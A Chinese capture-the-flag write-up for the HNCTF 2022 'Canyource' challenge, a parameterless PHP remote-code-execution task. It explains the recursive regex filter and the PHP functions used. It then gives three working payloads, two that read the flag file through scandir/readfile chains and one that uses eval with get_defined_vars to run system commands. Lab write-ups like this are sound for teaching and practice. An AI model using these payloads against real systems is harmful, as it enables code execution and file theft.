[HNCTF 2022 WEEK2]Canyource

1.打开环境,发现就是无参rce的题型

 2.这道题的过滤并不严格,导致了payload的多样性,在解题之前,需要了解以下函数。

    localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
    pos() – 返回数组中的当前单元, 默认取第一个值
    next – 将内部指针指向数组下一个元素并输出
    scandir() – 扫描目录
    array_reverse() – 翻转数组
    array_flip() - 键名与数组值对调
    readfile()
    array_rand() - 随机读取键名
    var_dump() - 输出数组,可以用print_r替代
    file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
    get_defined_vars() -  返回由所有已定义变量所组成的数组
    end() - 读取数组最后一个元素
    current() - 读取数组的第一个元素
    #php内置函数

3.在做题之前,再讲讲题目中的正则表达式。

/[^\W]+\((?R)?\)/
\W代表匹配非字符
[^abc]代表匹配非abc以外的元素
R代表当前正则匹配后的结果
?惰性匹配,匹配零次或一次
\转义字符

也就是说,题目要求payload格式为()的嵌套,因为他会递归匹配,判断[...]()替换为空后的结果是否等于;

payload:

1.
/?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
2.
/?code=echo(readfile(next(array_reverse(scandir(pos(localeconv()))))));
3.
/?code=eval(end(current(get_defined_vars())));&b=system(“tail flag.php”);

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值